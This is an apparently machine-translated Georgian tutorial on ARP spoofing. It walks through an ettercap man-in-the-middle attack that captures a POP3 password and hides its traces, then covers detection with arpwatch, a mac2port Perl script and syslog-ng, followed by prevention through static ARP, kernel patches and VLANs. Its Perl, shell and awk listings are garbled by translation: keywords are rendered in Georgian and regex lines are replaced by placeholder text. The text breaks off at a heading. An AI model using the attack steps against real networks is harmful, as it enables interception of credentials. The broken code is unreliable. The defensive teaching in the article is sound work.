ARP სპოფინგის შესრულებამდეკვანძების ARP ცხრილში და არის ჩანაწერები ერთმანეთის IP და MAC მისამართებით. ინფორმაციის გაცვლა ხდება უშუალოდ A და B კვანძებს შორის. (მწვანე ისარი)

ARP გაყალბების დროსკომპიუტერი Cშეტევის შესრულებისას, აგზავნის ARP პასუხებს (მოთხოვნის მიღების გარეშე):

  • კვანძი : ჰოსტის IP მისამართით და მასპინძელი MAC მისამართი C;
  • კვანძი : ჰოსტის IP მისამართით და მასპინძელი MAC მისამართი C.

იმის გამო, რომ კომპიუტერები მხარს უჭერენ უსასყიდლო ARP-ს, ისინი ცვლიან საკუთარ ARP ცხრილებს და განათავსებენ ჩანაწერებს იქ სადაც კომპიუტერის რეალური MAC მისამართების ნაცვლად. და არის კომპიუტერის MAC მისამართი C. (წითელი ისრები)

შეტევის დასრულების შემდეგროდესაც კომპიუტერი სურს პაკეტის გაგზავნა კომპიუტერში , ის აღმოაჩენს ჩანაწერს ARP ცხრილში (ეს შეესაბამება კომპიუტერს C) და მისგან განსაზღვრავს მიმღების MAC მისამართს. ამ MAC მისამართზე გაგზავნილი პაკეტი აღწევს კომპიუტერს Cმიმღების ნაცვლად. კომპიუტერი Cშემდეგ გადასცემს პაკეტს ვისთვისაც ის ნამდვილად არის განკუთვნილი - ე.ი. კომპიუტერი . (ლურჯი ისრები)

ინსტრუმენტები ARP გაყალბების შესასრულებლად

ამჟამად, არსებობს რამდენიმე ინსტრუმენტი ARP გაყალბების შესასრულებლად, რომლებიც მუშაობს როგორც Linux-ზე, ასევე Windows OS-ზე.

Ყველაზე ცნობილი:

  • ეტერკაპი
  • კაენი და აბელი
  • დსნიფი
  • არპ-სკ

ყველა დასახელებული პროგრამა თავისუფლად ნაწილდება.

ARP გაყალბების შესრულება ettercap-ის გამოყენებით

[შეტევის განხორციელების მაგალითი ettercap-ის გამოყენებით.] მოდით შევხედოთ, თუ როგორ უნდა შეასრულოთ ზემოთ შეტევა ettercap-ის გამოყენებით.

  • რა ხდება A მანქანაზე.
  • რა ხდება B მანქანაზე.
  • რა ხდება C მანქანაზე.

მოდით უფრო დეტალურად განვიხილოთ, თუ როგორ ხდება ARP-სპოოფინგი. ჩვენ გამოვიყენებთ ettercap პროგრამას, როგორც ინსტრუმენტს, მაგრამ სხვა ინსტრუმენტებს ARP გაყალბების სამუშაოების ანალოგიურად შესასრულებლად.

  • მანქანა A - მასპინძელი A - 192.168.15.201 - 00:04:75:75:46:B1
  • მანქანა B - მასპინძელი B - 192.168.15.254 - 00:0A:01:D4:D1:39
  • მანქანა C - მასპინძელი C - 192.168.15.200 - 00:0A:01:D4:D1:E3

ახორციელებს შეტევას მასპინძელი Cკვანძების წინააღმდეგ მასპინძელი ადა მასპინძელი B.

დააინსტალირეთ ettercap მიღებული სისტემის მეთოდის გამოყენებით:
hostC%# apt-get install ettercap
შეასრულეთ შეტევა მასპინძელ A-სა და მასპინძელ B-ზე:
%# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/
პარამეტრები ნიშნავს:

  • -T - ტექსტის (კონსოლის) ინტერფეისის გამოყენება;
  • -M arp - გამოიყენეთ ARP-სპოოფირების მოდული შეტევის შესასრულებლად;
  • -L log - ჩაწერეთ ჩარევის ჟურნალი ფაილებში სახელად log.*;

არგუმენტებად მითითებულია იმ მანქანების IP მისამართები, რომლებზეც უნდა განხორციელდეს ARP-სპოოფირების შეტევა.

მოდით, მაგალითად, ამ დროს კვანძი A წვდომის კვანძი B POP3 პროტოკოლის გამოყენებით, დაუცველი, მაგრამ ძალიან გავრცელებული პროტოკოლის კლასიკური მაგალითი - შეამოწმეთ ფოსტა.

hostA %# nc 192.168.15.254 110
USER მომხმარებელი
+ კარგი
PASS პაროლი
+ კარგი
სია
+ კარგი
.

კლიენტის ჰოსტA-სა და სერვერის ჰოსტB-ს შორის გადაცემული მონაცემები გადის C კვანძში. ის ნაჩვენებია ეკრანზე და იწერება ფაილებში. შეტევის დასრულების შემდეგ, თქვენ უნდა დააჭიროთ q-ს ettercap-ის გასასვლელად. პროგრამა აგზავნის ARP პაკეტებს ძველი ჩანაწერების აღსადგენად კვანძების ARP ქეში ისე, რომ ისინი უშუალოდ დაუკავშირდნენ ერთმანეთს. ორი ფაილი უნდა გამოჩნდეს მიმდინარე დირექტორიაში, დაწყებული სიტყვით, რომელიც მითითებულია -L გადართვის შემდეგ დარეკვისას ettercap:

%# ls ჟურნალი.*
log.eci
log.ecp

მათი შინაარსის ნახვა შეგიძლიათ ettercap პაკეტში შემავალი etterlog პროგრამის გამოყენებით:

%# etterlog log.eci
etterlog NG-0.7.3 საავტორო უფლება 2001-2004 ALoR & NaGA
ჟურნალის ფაილის ვერსია: NG-0.7.3
დროის ანაბეჭდი: ხუთ 21 ივნისი 12:23:11 2007 წ
ტიპი: LOG_INFO
1698 tcp OS თითის ანაბეჭდი
7587 mac გამყიდველის თითის ანაბეჭდი
2183 ცნობილი სერვისი

IP მისამართი: 192.168.15.201
MAC მისამართი: 00:04:75:75:46:B1
...
მწარმოებელი: Sohoware
მანძილი: 0
ტიპი: LAN ჰოსტი
თითის ანაბეჭდი:
ოპერაციული სისტემა: უცნობია
პორტი: TCP 110 | pop-3
ანგარიში: მომხმარებელი
/პაროლი
(192.168.15.201)
==================================================

როგორც ხედავთ, პაროლი წარმატებით იქნა ჩართული. ვნახოთ, როგორ იცვლება ARP ცხრილი hostA-ზე (დარტყმული კვანძი)

თავდასხმის წინ.

hostA%# arp -an

თავდასხმის დროს.

hostA%# arp -an
? (192.168.15.254) 00:0A:01:D4:D1:E3 eth0-ზე
? (192.168.15.200) 00:0A:01:D4:D1:E3 eth0-ზე

თავდასხმის შემდეგ.

hostA%# arp -an
? (192.168.15.254) 00:0A:01:D4:D1:39 eth0-ზე
? (192.168.15.200) 00:0A:01:D4:D1:E3 eth0-ზე

თუ დააკვირდებით რა ხდება hostA-ს eth0 ინტერფეისზე (რომლის მეშვეობითაც ხორციელდება შეტევა), ხედავთ, რომ შეტევის დაწყებისთანავე ინტერფეისზე შემოდის ARP პაკეტები, რომლებიც მიუთითებენ, რომ აპარატის MAC მისამართი 192.168.15.254 შეიცვალა. პაკეტები მუდმივად მოდის. როდესაც შეტევა დასრულდება, პაკეტში MAC მისამართი მოულოდნელად იცვლება სხვაზე. და მერე საერთოდ წყვეტენ მოსვლას.

%# tcpdump -i eth0 arp
08:34:20.231680 arp პასუხი 192.168.15.254 არის 00:0a:01:d4:d1:e3 (oui უცნობია)
08:34:21.259637 arp პასუხი 192.168.15.254 არის 00:0a:01:d4:d1:e3 (oui უცნობია)
08:34:22.287591 arp პასუხი 192.168.15.254 არის 00:0a:01:d4:d1:e3 (oui უცნობია)
08:34:23.315522 arp პასუხი 192.168.15.254 არის 00:0a:01:d4:d1:e3 (oui უცნობია)
08:34:32.463255 arp პასუხი 192.168.15.254 არის 00:0a:01:d4:d1:39 (oui უცნობია)
08:34:33.491040 arp პასუხი 192.168.15.254 არის 00:0a:01:d4:d1:39 (oui უცნობია)
08:34:34.514988 arp პასუხი 192.168.15.254 არის 00:0a:01:d4:d1:39 (oui უცნობია)

ეს ტექნიკა უზრუნველყოფს, რომ ARP ცხრილი მსხვერპლზე აღდგება და ვერავინ შეამჩნევს თავდასხმას.

გამოვლენის მეთოდები

arpwatch

Arpwatch პროგრამა აკონტროლებს ARP-ის ყველა აქტივობას მითითებულ ინტერფეისებზე. როდესაც ის შენიშნავს ანომალიებს, როგორიცაა MAC მისამართის ცვლილება IP მისამართის შენარჩუნებისას, ან პირიქით, ის აცნობებს მას syslog-ს.

arpwatch-ის ინსტალაცია და კონფიგურაცია

მოდით შევხედოთ arpwatch-ის ინსტალაციისა და კონფიგურაციის პროცედურას, მაგალითად, Debian GNU/Linux სისტემის გამოყენებით. arpwatch-ის ინსტალაცია ხორციელდება ტრადიციული გზით განაწილებისთვის:

%# apt-get დააინსტალირე arpwatch
0 განახლებულია, 1 ახლად დაინსტალირებული, 0 წასაშლელად და 0 არ განახლებულია.
საჭიროა 124 კბ არქივის მიღება.
ამოხსნის შემდეგ გამოყენებული იქნება 389 კბაიტი დამატებითი ადგილი დისკზე.
მიიღეთ:1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2
მიღებულია 124 კბაიტი 0 წამში (177 კბ/წმ)
ადრე არჩეული პაკეტის arpwatch-ის არჩევა.
(კითხულობს მონაცემთა ბაზას ... ამჟამად დაინსტალირებულია 22406 ფაილი და დირექტორია.)
arpwatch-ის შეფუთვა (.../arpwatch_2.1a13-2_i386.deb) ...
arpwatch-ის დაყენება (2.1a13-2) ...
გაშვებული Ethernet/FDDI სადგურის მონიტორის დემონი: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.

დემონის დაყენების შემდეგ ის ავტომატურად დაიწყებს გაშვებას. (სხვა სისტემებზე შეიძლება საჭირო გახდეს ხელით დაწყება.)

%# ps aux | grep arpwatch
arpwatch 4810 0.5 0.4 3448 2360 ? S 08:36 0:00 /usr/sbin/arpwatch -u arpwatch -N -p
root 4827 0.0 0.1 2852 712 pts/6 R+ 08:36 0:00 grep arpwatch

დემონს არ აქვს კონფიგურაციის ფაილი. arpwatch-ის კონფიგურაცია მთლიანად განისაზღვრება მასზე გადაცემული გასაღებების ნაკრებით. Debian GNU/Linux-ზე კლავიშები მითითებულია /etc/default/arpwatch კონფიგურაციის ფაილში (FreeBSD-ზე - /etc/rc.conf ფაილში). თუ თქვენ გჭირდებათ arpwatch-ის კონფიგურაციის შეცვლა (კერძოდ, მოუსმინეთ მას სხვა ინტერფეისებს), თქვენ უნდა შეცვალოთ მითითებული ფაილი:

%# vi /etc/default/arpwatch
%# კატა /etc/default/arpwatch
# გლობალური პარამეტრები arpwatch-ისთვის (8).
# Debian: არ შეატყობინოთ ბოგონებს, არ გამოიყენოთ PROMISC.
ARGS="-N -p"
# Debian: გაუშვით `arpwatch“-ის მომხმარებელი. გააცალეთ ეს, რომ გაუშვათ როგორც root.
RUNAS = arpwatch

თუ კონფიგურაცია შეიცვალა, დემონი უნდა გადატვირთოთ:

%# /etc/init.d/arpwatch გადატვირთვა

როდესაც დემონი იწყება, ის აღმოაჩენს ახალ სადგურებს. არანაირი აქტიური მოქმედება არ შესრულდება - მხოლოდ ARP ტრაფიკის მოსმენა. აღმოჩენილი კვანძები ახსოვს; arpwatch იუწყება, რომ ახალი კვანძი აღმოაჩინეს syslog-ში. დემონი ასევე აცნობებს ყველა ანომალიას, რომელსაც აღმოაჩენს ARP პროტოკოლის მუშაობაში syslog-ში:

# კუდი -f /var/log/daemon.log
21 ივნისი 08:37:08 s_all@linux2 arpwatch: ახალი სადგური 192.168.15.200 0:a:1:d4:d1:e3 eth0
21 ივნისი 08:37:08 s_all@linux2 arpwatch: ახალი სადგური 192.168.15.201 0:4:75:75:46:b1 eth0
21 ივნისი 08:37:09 s_all@linux2 arpwatch: ახალი სადგური 192.168.15.254 0:a:1:d4:d1:39 eth0
21 ივნისი 08:37:09 s_all@linux2 arpwatch: შეიცვალა ეთერნეტის მისამართი 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 ივნისი 08:37:11 s_all@linux2 arpwatch: ეთერნეტის შეუსაბამობა 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 ივნისი 08:37:12 s_all@linux2 arpwatch: ეთერნეტის შეუსაბამობა 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 ივნისი 08:37:13 s_all@linux2 arpwatch: ეთერნეტის შეუსაბამობა 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

ყურადღება მიაქციეთ ხაზს

21 ივნისი 08:37:09 s_all@linux2 arpwatch: შეიცვალა ეთერნეტის მისამართი 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

რომელიც იუწყება, რომ ჰოსტმა 192.168.15.254 შეცვალა MAC მისამართი.

ეს შეიძლება ნიშნავდეს, რომ მასპინძელი, რომელიც მუშაობს arpwatch-ზე, ხდება ARP-ით გაყალბებული ტრაფიკის გადასაჭრელად, რომელსაც ის ცვლის ჰოსტთან 192.168.15.254.

ჰოსტის გამოვლენა, რომელიც ახორციელებს ARP გაყალბებას

თუ გადამრთველი მართულია, შეგიძლიათ განსაზღვროთ, რომელ მის პორტებში მუშაობს კვანძი, რომელსაც აქვს კონკრეტული MAC მისამართი.

მაგალითად, ეს შეიძლება გაკეთდეს mac2port სკრიპტის გამოყენებით. სკრიპტი დაუკავშირდება გადამრთველს SNMP-ის საშუალებით და კითხულობს მის ცხრილს MAC მისამართების პორტებთან დაკავშირების შესახებ. მიღებული ინფორმაცია იგზავნება ადვილად საძიებო ფორმით სტანდარტულ გამომავალ ნაკადში. გამოყენების გასაადვილებლად, სკრიპტი აჩვენებს MAC მისამართებს იმავე ფორმატში, როგორც arpwatch.

სკრიპტის გამოყენების პირობები:

  • სკრიპტი უნდა განთავსდეს /usr/local/bin დირექტორიაში, ან PATH-ში მითითებულ სხვა დირექტორიაში;
  • სკრიპტი უნდა იყოს შესრულებადი (chown +x mac2port) ან გამოძახებული perl თარჯიმანით;
  • სკრიპტის ტექსტში უნდა იყოს მითითებული გადამრთველის IP მისამართი და მისი SNMP RO საზოგადოება;
  • გადამრთველმა უნდა უზრუნველყოს SNMP ვერსია 2; მხარდაჭერა უნდა იყოს ჩართული (არ არის რთული სკრიპტის გადაწერა უფრო უსაფრთხო SNMPv3 პროტოკოლზე, მაგრამ ეს ვერსია მუშაობს სპეციალურად SNMPv2-თან).

სკრიპტის გამოყენების მაგალითი:
%# ./mac2port
0:4:76:a1:ef:bb -> 1
0:a:1:d4:d1:e3 -> 2
0:15:60:79:8e:c0 -> 0
0:4:75:75:46:b1 -> 3
0:a:1:d4:d1:39 -> 44

თუ შეტევა ადრე გამოვლინდა arpwatch-ის გამოყენებით:

%# კატა /var/log/daemon.log | grep "შეცვალა Ethernet მისამართი"
21 ივნისი 08:37:09 s_all@linux2/192.168.15.201 arpwatch: შეიცვალა ეთერნეტის მისამართი 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

შეგიძლიათ გამოიყენოთ სკრიპტი და დაადგინოთ, რომელი გადამრთველი პორტიდან არის დამზადებული (არ აქვს მნიშვნელობა ეს არის თავდამსხმელის ქსელის ბარათის ნამდვილი MAC მისამართი თუ ის შეიცვალა):

%# mac=$(cat /var/log/daemon.log | grep "შეცვალა ეთერნეტის მისამართი" | awk "(დაბეჭდვა $10)")
%# ./mac2port | grep $ mac
0:a:1:d4:d1:e3 -> 2

მნიშვნელოვანია, რომ დადგენა სწრაფად მოხდეს, სანამ ინფორმაცია თავდამსხმელის შესახებ ჯერ კიდევ ინახება გადამრთველის მეხსიერებაში.

ამისათვის აზრი აქვს საძიებო სკრიპტის ავტომატურად გამოძახებას, როდესაც შესაბამისი ჩანაწერი აღმოჩენილია სისტემის ჟურნალში. ჟურნალის ანალიზი შეიძლება შესრულდეს, მაგალითად, ისეთი ხელსაწყოების გამოყენებით, როგორიცაა ნიმუშიან syslog-ng.

მაგალითად, თუ იყენებთ syslog-ng. თქვენ შეგიძლიათ შექმნათ სკრიპტი, რომელიც ასრულებს ანალიზს:
/usr/local/bin/syslog-ng-arpwatch

#!/bin/sh
PATH=$PATH:/usr/local/bin
სტრიქონის წაკითხვისას
კეთება
mac="$(echo $line | grep "შეცვალა ეთერნეტის მისამართი" | awk "(ბეჭდვა $10)")"
[ -z "$mac"] && გაგრძელება
(echo POSSIBLY ARP-SPOOFING FROM:; mac2port | grep "$mac")| logger -t arp-გაყალბება
შესრულებულია

და დააკავშირეთ ის syslog-ng-ზე.
ამისათვის თქვენ უნდა მიუთითოთ შემდეგი ხაზები syslog-ng.conf კონფიგურაციის ფაილში:

დანიშნულების ადგილი dp_arpspoofing (
პროგრამა ("/usr/local/bin/syslog-ng-arpwatch");
};
ფილტრი f_arpspoofing (
მატჩი ("arpwatch");
};
ჟურნალი (
წყარო(s_all);
filter (f_arpspoofing);
დანიშნულება (dp_arpspoofing);
};

სიმებიანი
filter (f_arpspoofing);

შეიძლება არ დაგჭირდეთ მისი დაკონკრეტება, მაგრამ დატვირთულ სისტემებზე ეს მნიშვნელოვნად ამცირებს დატვირთვას. ამ შემთხვევაში, arp-spoofing-ის შესრულებისას ხდება შემდეგი:

  1. დემონი arpwatchაგზავნის ინფორმაციას syslog-ში (სტანდარტული სოკეტის /dev/log ან /var/run/log მეშვეობით);
  2. თუ Syslog-NG გამოიყენება როგორც syslog სერვერი, ის აღმოაჩენს შეტყობინების ხელმოწერას და გადასცემს აღმოჩენილ ხაზს სკრიპტში syslog-ng-arpwatch;
  3. სკრიპტი syslog-ng-arpwatch, თუ ხედავს, რომ პრობლემა რეალურად დაკავშირებულია ARP გაყალბებასთან, ის უწოდებს პორტის საძიებო სკრიპტს MAC მისამართით;
  4. სკრიპტი mac2portგადამრთველზე წვდომა SNMP-ის საშუალებით;
  5. გადამრთველი პასუხობს - გადასცემს ცხრილებს, რომლებიც შეიცავს ინფორმაციას MAC მისამართების პორტების შესაბამისობის შესახებ იმ სკრიპტთან, რომელიც მას ეძახდა;
  6. სკრიპტი mac2portაბრუნებს MAC მისამართების ცხრილს, რომელიც შეესაბამება სკრიპტზე პორტების გადართვას syslog-ng-arpwatch;
  7. სკრიპტი syslog-ng-arpwatchპოულობს ინტერესის პორტს და წერს შეტყობინებას syslog-ში;
  8. დემონი syslog-ngწერს შეტყობინებას გადამრთველის პორტის შესახებ ინფორმაციას ფაილზე, ასევე შეუძლია SMS-ით ან ფოსტით გაუგზავნოს ადმინისტრატორს ან დარეკოს გარე პროგრამაზე (რომელიც, მაგალითად, დამატებითი შემოწმების შემდეგ შეუძლია გადამრთველის პორტის დაბლოკვა);
  9. ადმინისტრატორი კითხულობს ფაილში აღმოჩენილი თავდასხმის შესახებ.

ასე გამოიყურება ფაილში:
21 ივნისი 13:55:23 s_all@linux3 arp-გაყალბება: შესაძლებელია ARP-ს გაყალბება:
21 ივნისი 13:55:23 s_all@linux3 arp-spoofing: 0:a:1:d4:d1:e3 -> 2

mac2port სკრიპტის ტექსტი

#!/usr/bin/perl
ჩვენი $საზოგადოება = "საჯარო";
ჩვენი $switch = "192.168.15.100";
open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.1|")
ან die "Can't run snmpwalk";
ხოლო ()
{
ჩომპ;
[ელფოსტა დაცულია]@@;
ჩემი ($oid, $mac) = გაყოფა /=\s*/;
$_=$mac;
s@"@@g; s@\s*$@@; s@ @:@g; s@(.)@\l\1@g; s@^0@@; s@:0@:@ გ;
$mac_table($_)=$oid;
}
დახურვა (SNMP);
open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.2|")
ან die "Can't run snmpwalk";
ხოლო ()
{
ჩომპ;
[ელფოსტა დაცულია]@@;
ჩემი ($oid, $port) = გაყოფა /=/;
$ports_table($oid)=$პორტი;
}
დახურვა (SNMP);
$oid-ისთვის (გასაღებები %mac_table) (
დაბეჭდეთ "$oid -> ".$ports_table($mac_table($oid))."\n";
}

პრევენციის მეთოდები

ARP გაყალბების წინააღმდეგ ბრძოლა arpwatchდა მსგავსი ინსტრუმენტები, თუმცა ძალიან მარტივია, მაგრამ შორს არის ეფექტური.

  • პირველ რიგში, თავდასხმის აღმოსაჩენად, arpwatch პროგრამა (ან მსგავსი) უნდა მუშაობდეს დაცულ კვანძებზე. თუ ის მუშაობს ორი კვანძიდან მხოლოდ ერთზე, რომელიც არის ARP-გაყალბებული, არსებობს გამოუცნობი ცალმხრივი შეტევის შესაძლებლობა.
  • მეორე და რაც მთავარია, arpwatchის მხოლოდ საშუალებას გაძლევთ აღმოაჩინოთ თავდასხმა, მაგრამ მას არ შეუძლია მისი თავიდან აცილება.

თავდასხმის შედეგების თავიდან ასაცილებლად საჭიროა ადმინისტრატორის ან გარე სისტემის ჩარევა. პირველ შემთხვევაში, აღმოჩენასა და ადმინისტრატორის პასუხს შორის შეიძლება ძალიან დიდი დრო გავიდეს. მეორეში ჩარევა არ არის საჭირო, რეაქცია ხდება ავტომატურად: როგორც კი გამოვლინდება ARP ანომალია, დგინდება გადამრთველის პორტი, რომელზედაც დაკავშირებულია ანომალიის წყარო და პორტი იბლოკება დაზუსტებამდე. თუმცა, ამ მიდგომას აქვს დიდი ნაკლი - ის შეიძლება გამოყენებულ იქნას DOS შეტევის განსახორციელებლად: თქვენ უბრალოდ უნდა გაარკვიოთ კომპიუტერის MAC მისამართი, რომელიც უნდა იყოს გათიშული ქსელიდან და მოახდინოთ ამ კომპიუტერიდან თავდასხმის სიმულაცია. მაშინ ჩვენი სისტემა ARP გაყალბების გამოვლენისა და თავიდან ასაცილებლად ყველაფერს თავად გააკეთებს.

განხილული მეთოდები ARP შეტევების საწინააღმდეგოდ ეფუძნება ორ სრულიად განსხვავებულ პრინციპს, რომელთაგან თითოეულს აქვს როგორც დადებითი, ასევე უარყოფითი მხარეები.

ორივე მეთოდს, გარდა იმისა, რომ საიმედოდ იცავს ARP გაყალბებისგან, ასევე აქვს უპირატესობა, რომ საშუალებას გაძლევთ სრულად აკონტროლოთ ტრაფიკი - არა მხოლოდ ის, რაც გადის კარიბჭეზე, არამედ ის, რაც მოძრაობს მანქანებს შორის (იმ შემთხვევაში, PPPoE-ს გამოყენებით მანქანებს შეუძლიათ ურთიერთშეთანხმების საფუძველზე მონაცემების გაცვლა უშუალოდ ერთმანეთთან. VLAN-ების გამოყენების შემთხვევაში მათ სრულიად მოკლებულია ეს შესაძლებლობა.)

ცალმხრივი შეტევა
თუ თქვენ გჭირდებათ ტრაფიკის ჩაჭრა, რომელიც გადადის ქსელის კვანძიდან გარე ქსელში, თქვენ უნდა შეუტიოთ კვანძს და ქსელის კარიბჭეს. თუმცა, ARP გაყალბების გამოვლენა ბევრად უფრო სავარაუდოა, რომ იყოს კარიბჭეზე, ვიდრე მასპინძელზე. ვინაიდან ჩვენ გვაინტერესებს კვანძის მოძრაობა აგზავნისქსელში, საკმარისია შეცვალოთ მხოლოდ კვანძის ARP ცხრილი და არ გარისკოთ კარიბჭის მიერ შენიშვნა. მონაცემები, რომლებსაც კარიბჭე უგზავნის კვანძს, პირდაპირ გაივლის, ხოლო მონაცემები, რომლებსაც კვანძი აგზავნის კარიბჭეში, გადადის თავდამსხმელის სისტემაში. (როგორც კარიბჭეზე, ასევე კვანძში შესაძლებელი იქნება თვალყური ადევნოთ, რომ კვანძიდან მოსულ პაკეტებზე MAC მისამართები განსხვავდება მის ARP ცხრილში დაწერილისაგან, ანუ პაკეტები იგზავნება ერთ MAC მისამართზე და მოდის მეორედან. მაგრამ რა სისტემები აკეთებენ ამას?)

სტატიკური ARP

თქვენ შეგიძლიათ რადიკალურად გაუმკლავდეთ ARP პროტოკოლის სისუსტეებს - უბრალოდ არ გამოიყენოთ იგი. ARP ცხრილი შეიძლება შეიქმნას ხელით და ის დაუცველი ხდება ARP შეტევებისგან. ამისათვის თქვენ უნდა დაამატოთ საჭირო MAC მისამართები ცხრილში.

თუ გამორთავთ ARP-ის გამოყენებას ქსელურ ინტერფეისებზე, მაშინ მხოლოდ ის სისტემები იქნება ხელმისაწვდომი (1) რომელთა MAC მისამართები ემატება ჩვენი კვანძის ARP ცხრილს და (2) ჩვენი MAC მისამართი ემატება კვანძების ARP ცხრილებს. რომლის გაცვლაც ხდება მოძრაობა.

თუ არ გამორთავთ ARP-ის გამოყენებას ქსელის ინტერფეისებზე, სტატიკურად მითითებულ MAC მისამართს უპირატესობა აქვს. თუ MAC მისამართი არ არის მითითებული IP მისამართისთვის, გამოიყენება ARP მოთხოვნა.

სტატიკური ARP ცხრილის მიღება შესაძლებელია არსებული როუტერის ARP ცხრილიდან:

%# arp -an | grep -v incom | awk "(ბეჭდვა $2" "$4)" | tr -d "()"

თუ ასე დაწერ:

%# arp -an | grep -v incom | awk "(ბეჭდვა $2" "$4)" | tr -d "()" > /etc/ეთერები

ის ჩაიწერება /etc/ethers ფაილში

აუცილებელია, რომ ცხრილი შეიცავდეს ქსელური მანქანების მაქსიმალურ რაოდენობას. თქვენ უნდა ააწყოთ ცხრილი ქსელის პიკის აქტივობის მომენტში, ან ჯერ გაიაროთ მისამართების მთელი დიაპაზონი პინგებით:

მე-სთვის `1 255`-ში
კეთება
ping -c 1 192.168.15.$i >& /dev/null &
შესრულებულია

(აქ 192.168.15.0/24 არის ქსელი, რომლისთვისაც ხდება სკანირება). მას შემდეგ რაც შეიქმნება /etc/ethers ფაილი, მისი ჩატვირთვა შესაძლებელია ბრძანების გამოყენებით:

%# ifconfig eth1 -arp

Დადებითი და უარყოფითი მხარეები

ARP ცხრილების ხელით გენერირების მეთოდს აქვს შემდეგი უარყოფითი მხარეები:

  • ემატება ბევრი რუტინული სამუშაო, რომელიც დაკავშირებულია MAC მისამართების დამატებასთან და შეცვლასთან. ქსელის ყველა ცვლილებას, რომელიც დაკავშირებულია ქსელის ბარათების შეცვლასთან ან გადაკეთებასთან, უნდა ახლდეს ფაილებში ARP ცხრილების რედაქტირება.
  • კლიენტის კვანძები რჩება დაუცველი ARP გაყალბების მიმართ.

სისტემის ბირთვის პატჩები

არსებობს პატჩი (შემოთავაზებულია buggzy-ის მიერ) Linux/FreeBSD ბირთვებისთვის, რომელიც მინიმუმამდე ამცირებს ARP-სპოოფინგის წარმატებული შეტევის რისკს პაჩირებული სისტემების წინააღმდეგ.

მეთოდის არსი შემდეგია. როდესაც ARP პასუხი მიიღება, ძველი და ახალი MAC მისამართები შედარებულია და თუ ცვლილება გამოვლინდა, გადამოწმების პროცედურა იწყება. იგზავნება ARP მოთხოვნა, რომელიც მოითხოვს IP მისამართის ყველა მფლობელს მიაწოდოს თავისი MAC მისამართები.

თუ თავდასხმა განხორციელდება, ამ IP მისამართის მქონე რეალური სისტემა უპასუხებს მოთხოვნას და ამით თავდასხმა იქნება აღიარებული. თუ MAC მისამართის ცვლილება დაკავშირებულია არა შეტევასთან, არამედ სტანდარტულ სიტუაციებთან, არ იქნება პასუხი, რომელიც შეიცავს "ძველ" MAC მისამართს და გარკვეული დროის გასვლის შემდეგ, სისტემა განაახლებს ქეში ჩანაწერს.

საეჭვო სიტუაციის („ორმაგი“) აღმოჩენისას, ბირთვი აჩვენებს შეტყობინებას: „ARP_ANTIDOTE: შესაძლო MITM მცდელობა!“ და არ განაახლებს ARP ქეში ჩანაწერს, არამედ, პირიქით, აღრიცხავს ძველ ჩანაწერს სტატიკურად. თავდასხმის წყაროს იდენტიფიცირებისა და განეიტრალების შემდეგ, სტატიკური ჩანაწერი შეიძლება წაიშალოს.

პატჩები, რომლებიც ახორციელებენ ბრძოლის ამ მეთოდს:

* arp_antdote Linux-ისთვის
* arp_antidote 2 Linux-ისთვის
* Arp Poison პატჩი FreeBSD-ისთვის

პატჩები მუშაობს მხოლოდ 2.4 სერიის ბირთვთან.

ARP გაყალბების წინააღმდეგ ბრძოლის სხვა მეთოდები

სამწუხაროდ, ეს მეთოდი არ გამოიყენება Windows სისტემებზე და სხვა სისტემებზე, რომლებიც მუშაობენ OS, რომელთა წყაროს კოდი მიუწვდომელია.

პრობლემა რადიკალურად უნდა მოგვარდეს: ქსელი უნდა აშენდეს ისე, რომ მასზე ARP გაყალბების განხორციელება ფუნდამენტურად შეუძლებელი იყოს. და თუ შესაძლებელია, მაშინ უსარგებლო.

ეს შეიძლება გაკეთდეს ორი გზით:

1. შეზღუდეთ სამაუწყებლო დომენი თითოეული კვანძისთვის ორი კვანძის დონეზე: თავად კვანძი და უახლოესი კარიბჭე. უფრო ვრცლად. რატომ არ შეიძლება შეტევა ამ შემთხვევაში. მაშინ უბრალოდ არავინაა, ვინც შეტევას განახორციელებს - საჭიროა მესამე. მაგრამ ის იქ არ არის.
2. დარწმუნდით, რომ ქსელში გადაცემული ყველაფერი, აბსოლუტურად ყველაფერი დაშიფრულია და ამ მონაცემების მოსმენა არაფერს გამოიწვევს. მონაცემთა ნებისმიერი ცვლილება, თუ ეს მოხდება, მაშინვე გამოვლინდება. ანუ, ფაქტობრივად, ქსელი უნდა იყოს იგივე და უსაფრთხო, როდესაც გამოიყენება ჰაბის გადამრთველის ნაცვლად.

პირველი მეთოდი კეთდება გამოყენებით VLAN-ები. მეორე არის დახმარებით PPPoE.

VLAN-ების გამოყენება

კომპიუტერი C-ს შეუძლია გამოიყენოს ARP გაყალბება კომპიუტერის A-ს წინააღმდეგ მხოლოდ იმ შემთხვევაში, თუ ისინი არიან იმავე ბმულის ფენის ქსელში. იმ შემთხვევაში, თუ ისინი გამოყოფილია როუტერით, შეტევა შეუძლებელია (როუტერზე შეტევა შესაძლებელია, მაგრამ ეს სულ სხვა საკითხია).

VLAN-ები ეხმარება ქსელის სეგმენტირებას - ერთი ქსელის გადაქცევა ბმულის დონეზე იზოლირებულ მრავალ ფრაგმენტად, რომლებიც ერთმანეთთან არის დაკავშირებული როუტერით. ARP გაყალბების შეტევა შესაძლებელია მხოლოდ იმავე VLAN-ზე მდებარე კომპიუტერებს შორის. ყველაზე ექსტრემალურ შემთხვევაში, როდესაც თითოეულ VLAN-ში მხოლოდ ორი კომპიუტერია: თავად კომპიუტერი და როუტერი, ARP-სპოოფირების შეტევა პრინციპში შეუძლებელი ხდება. სამწუხაროდ, ასეთი ქსელი ძალიან მოთხოვნადია როუტერის რესურსებზე და იშვიათად გამოიყენება.

უპირატესობები
